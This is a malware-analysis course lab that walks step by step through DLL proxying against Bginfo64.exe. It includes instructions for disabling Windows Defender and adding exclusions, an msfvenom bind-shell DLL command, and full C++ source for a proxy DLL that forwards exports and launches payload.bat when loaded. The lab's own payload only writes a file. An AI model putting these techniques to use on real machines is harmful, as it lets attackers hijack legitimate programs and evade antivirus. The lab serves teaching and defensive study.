PMA 126: DLL Proxying (20 pts extra)

What you need

Purpose

To make a DLL proxy, so you can add a malicious DLL to an EXE without modifying it.

Use the Windows Machine with Tools

Use the machine from this project:
PMA 41: Windows 10 with Analysis Tools

You could use another Windows machine if you install the required tools on it.

If you are using the "Windows 10 with Tools" VM, skip all these steps in the gray box.

Visual Studio

You need Visual Studio 2019 installed, as explained in a previous project.

Installing Metasploit

If you already installed Metasploit, skip this section. Otherwise, follow the steps below.

Temporarily Disabling Windows Defender

Metasploit contains a lot of malware signatures, so antivirus will block it.

Click Start and type DEFENDER.

Open "Windows Defender Settings".

Click "Virus & threat protection".

Under "Virus & threat protection settings", click "Manage settings".

Turn off "Real-time protection" and. "Cloud-delivered protection", as shown below.

Leave this Windows Security window open--you'll need it again after installing Metasploit.

Installing the Metasploit Framework

In Firefox, go to

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

In the "Installing Metasploit on Windows" section, click the "latest Windows installer" link.

Put the metasploitframework-latest.msi file in your Downloads folder.

RIght-click the metasploitframework-latest.msi file and click Properties. Click Unblock. Click OK. Open an Administrator Command Prompt and execute these commands:

cd \Users\IEuser\Downloads
metasploitframework-latest.msi
Click through the installer, accepting all the default options.

Adding a Windows Defender Exclusion

If you are using my Windows 10 machine, Windows Defender should be disabled in Group Policy.

If you are using your own machine, you need to configure a Windows Defender exclusion.

In Windows Security, scroll down to the Exclusions section and click "Add or remove exclusions".

Click the "Add an exclusion". Click Folder.

Select C:\metasploit-framework. Click "Select folder". Approve the privilege escalation.

The metasploit-framework now appears as an Exclusion, as shown below.

Making a Working Directory

First we'll make an empty working directory, and copy the harmless Bginfo64.exe utility into it.

In a Administrator Command Prompt, execute these commands, as shown below.

(Don't omit the period at the end of the last command.)

mkdir c:\users\ieuser\desktop\dllproxy
cd c:\users\ieuser\desktop\dllproxy
copy C:\tools\Bginfo64.exe .

Adding a Windows Defender Exclusion

Click Start and type DEFENDER.

Open "Windows Defender Settings".

Click "Virus & threat protection".

Under "Virus & threat protection settings", click "Manage settings".

Scroll down to the Exclusions section and click "Add or remove exclusions".

Click the "Add an exclusion". Click Folder.

Select C:\users\ieuser\desktop\dllproxy. Click "Select folder". Approve the privilege escalation.

The metasploit-framework now appears as an Exclusion,

Viewing the DLLs in Process Monitor

At the lower left of the desktop, click the magnifying glass. Type PROCMON and open procmon.

Configure the two filters shown at the top of the list below and click OK.

In the Administrator Command Prompt, execute this command:

Bginfo64.exe
A Bginfo box opens. Close it, or just wait a few seconds for it to close automatically.

As shown below, Process Monitor shows that the program looked for version.dll in the working folder first, and only went to C:\Windows\System32 when it was not found.

In Process Monitor, in the toolbar, click the third icon (the magnifying glass) to stop the monitoring.

Attempting DLL Replacement

First we'll try a technique we've used previously--simply replacing the DLL with a malicious DLL with the same name, but without any exported functions.

Installing Metasploit

You should already have Metasploit installed from a previous project.

Making a Malicious DLL

In the Administrator Command Prompt window, execute this command:
C:\metasploit-framework\bin\msfvenom -p windows/x64/shell_bind_tcp LPORT=4445 -f dll -o version.dll

Restarting Process Monitor

In Process Monitor, in the toolbar, click the fifth icon (the eraser) to clear the old events.

Then click the third icon (the magnifying glass) to start monitoring.

Running the Malicious DLL

In the Administrator Command Prompt, execute this command:
Bginfo64.exe
As shown below, the program looked for version.dll in the working folder. But it crashed with an error message.

In Process Monitor, in the toolbar, click the third icon (the magnifying glass) to stop the monitoring.

In the Administrator Command Prompt window, execute this command:

netstat -an | more
As shown above, there is no process listening on port 4445. Bginfo64 did not actually load the malicious DLL.

Building a DLL Proxy

We need a better Trojan DLL to fool Bginfo64.

We'll build a DLL Proxy: a DLL that exports all the functions in the original DLL, and with added malicious code.

Downloading Dll Export Viewer

In Firefox, go to:

http://www.nirsoft.net/utils/dll_export_viewer.html

Scroll down near the end of the page, as shown below.

Download the 64-bit version. Unzip the downloaded file.

Double-click dllexp.exe.

Click the "Load functions from the following DLL file..." radio button.

In the "Load functions from..." field, enter

C:\Windows\system32\version.dll
as shown below.

Click OK.

A list of exported functions appears, as shown below.

From the Dll Export Viewer menu bar, click View, "HTML Report - All Functions".

A browser tab opens, showing a local file named report.html, as shown below.

In the Administrator Command Prompt window, execute this command:

mkdir \dllproxy
cd \dllproxy
copy C:\Tools\report.html  C:\dllproxy

Generating Source Code

To convert this output into C++ source code, we'll use a Python script from this page.

In the Administrator Command Prompt window, execute this command:

notepad parser.py
Create a new file, and paste in the script below.
"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse

def main():
    parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
    parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
    args = parser.parse_args()
    report = args.report

    try:
        f = open(report)
        page = f.readlines()
        f.close()
    except:
        print("[-] ERROR: open('%s')" % report)
        return

    for line in page:
        if line.startswith("<tr>"):
            cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
            function_name = cols[1]
            ordinal = cols[4].split(' ')[0]
            dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
            print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if __name__ == '__main__':
    main()

Save the file. Close Notepad.

In the Administrator Command Prompt window, execute these commands:

c:\python27\python parser.py report.html > pragma.txt
notepad pragma.txt
You see a list of "pragma" commands, as shown below.

Notice how this works: each exported function, such as GetFileVersionInfoA, is mapped to a function with the same name in a library named version_orig, as indicated by green outlines in the image below.

Leave this Notepad window open.

In the Administrator Command Prompt window, execute this command:

notepad dllmain.cpp
Create a new file and paste in this code, shown below.
#pragma once
// BEGIN: export directives for the linker
// INSERT pragma.txt contents here





// END: export directives for the linker

#include <windows.h>
#include <string>
#include <atlstr.h>  

CStringW ThisDllDirPath()
{
    CStringW thisPath = L"";
    WCHAR path[MAX_PATH];
    HMODULE hm;
    if (GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPWSTR)&ThisDllDirPath, &hm))
    {
        GetModuleFileNameW(hm, path, sizeof(path));
        PathRemoveFileSpecW(path);
        thisPath = CStringW(path);
        if (!thisPath.IsEmpty() &&
            thisPath.GetAt(thisPath.GetLength() - 1) != '\\')
            thisPath += L"\\";
    }
    return thisPath;
}

int Exploit()
{
    // Create the command line 
    std::wstring fullpath(TEXT("cmd.exe /C \""));
    fullpath += ThisDllDirPath();
    fullpath += std::wstring(TEXT("payload.bat\""));
    TCHAR * fullpathwc = (wchar_t *)fullpath.c_str();

    // Start a new process using the command line 
    STARTUPINFO info = { sizeof(info) };
    PROCESS_INFORMATION processInfo;
    CreateProcess(NULL, fullpathwc, NULL, NULL, TRUE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL, &info, &processInfo);

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        Exploit();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Scroll to the top of the Notepad window showing "dllmain.cpp".

Copy all the pragma commands from the Notepad window showing "pragma.txt" and paste them into the "dllmain.cpp" file, where indicated, as shown below.

Scroll to the bottom of this file.

You can see how the attack works. When this DLL is loaded, the DllMain function runs, and calls Exploit().

Exploit() runs a batch file named payload.bat. These things are outlined in green in the image below.

Save the file. Leave Notepad open.

Creating the Payload.bat File

In the Administrator Command Prompt window, execute this command:
notepad payload.bat
Create a new file and enter this code, as shown below.

This payload will create a file on the desktop.

echo 1 > c:\users\ieuser\desktop\pwned.txt

Save the file. Close Notepad.

Building the DLL in Visual Studio 2019

Click the Start button.

Type vis

Open Visual Studio 2019.

In the "Visual Studio 2019" page, click "Create a new project", as shown below.

In the "Create a new project" page, at the top right, make these three selections:

In the lower right, click "Dynamic-Link Library (DLL)", as shown below.

Click Next.

In the "Configure your new project" page, give your project a name of version, as shown below.

Click Create.

Pasting in the Source Code

A window opens showing code for dllmain.cpp.

Delete all the code and paste in the code from your Notepad window showing your dllmain.cpp file, as shown below.

In the top center, set the configuration to Release and the platform to x64, outlined in red in the image below.

Configuring Solution Properties

At the top right, in the "Solution Explorer" pane, right-click version and click Properties.

In the Property page, at the top, set the Configuration to "All Configurations" and the Platform to "All Platforms", outlined in red in the image below.

Then, in the left pane, expand C/C++ and click "Code Generation".

In the right pane, set the Runtime Library to "Multi-threaded (/MT)", as shown below.

Click Apply.

In the left pane, click "Precompiled Headers".

In the right pane, set the Precompiled Header to "Not Using Precompiled Headers", as shown below.

Click OK.

Building the Solution

At the top right, in the "Solution Explorer" pane, right-click version and click Build.

At the bottom, in the Output pane, a message shows that the build succeeded, and shows the path to the compiled version.dll, as shown below.

Copying the DLLs to the Working Folder

Now we need to do these three things: In the Administrator Command Prompt window, execute these commands, as shown below.
del c:\users\ieuser\desktop\dllproxy\version.dll

copy c:\windows\system32\version.dll c:\users\ieuser\desktop\dllproxy\version_orig.dll

copy C:\Users\IEUser\source\repos\version\x64\Release\version.dll c:\users\ieuser\desktop\dllproxy\version.dll

Restarting Process Monitor

In Process Monitor, in the toolbar, click the fifth icon (the eraser) to clear the old events.

Then click the third icon (the magnifying glass) to start monitoring.

In the Administrator Command Prompt, execute these commands:

cd C:\Users\IEuser\Desktop\dllproxy
Bginfo64.exe
As shown below, the exploit works, creating a "pwned.txt" file on the desktop.

PMA 126.1: Operation (20 pts)

The flag is the operation immediately after "Load Image", covered by a green rectangle in the image below.

Sources

DLL Proxying
Walkthrough: Create a traditional Windows Desktop application (C++)
Hacking technique – DLL hijacking
DLL Proxy Loading Your Favourite C# Implant
Windows Privilege Escalation - DLL Proxying
Brownie

Posted 10-11-2020
Windows Defender adjustments added 3-23-2021
Adjusted for my Windows machine 7-14-2021
Minor fixes 7-20-2021
Win 10 with Tools notes clarified 8-7-21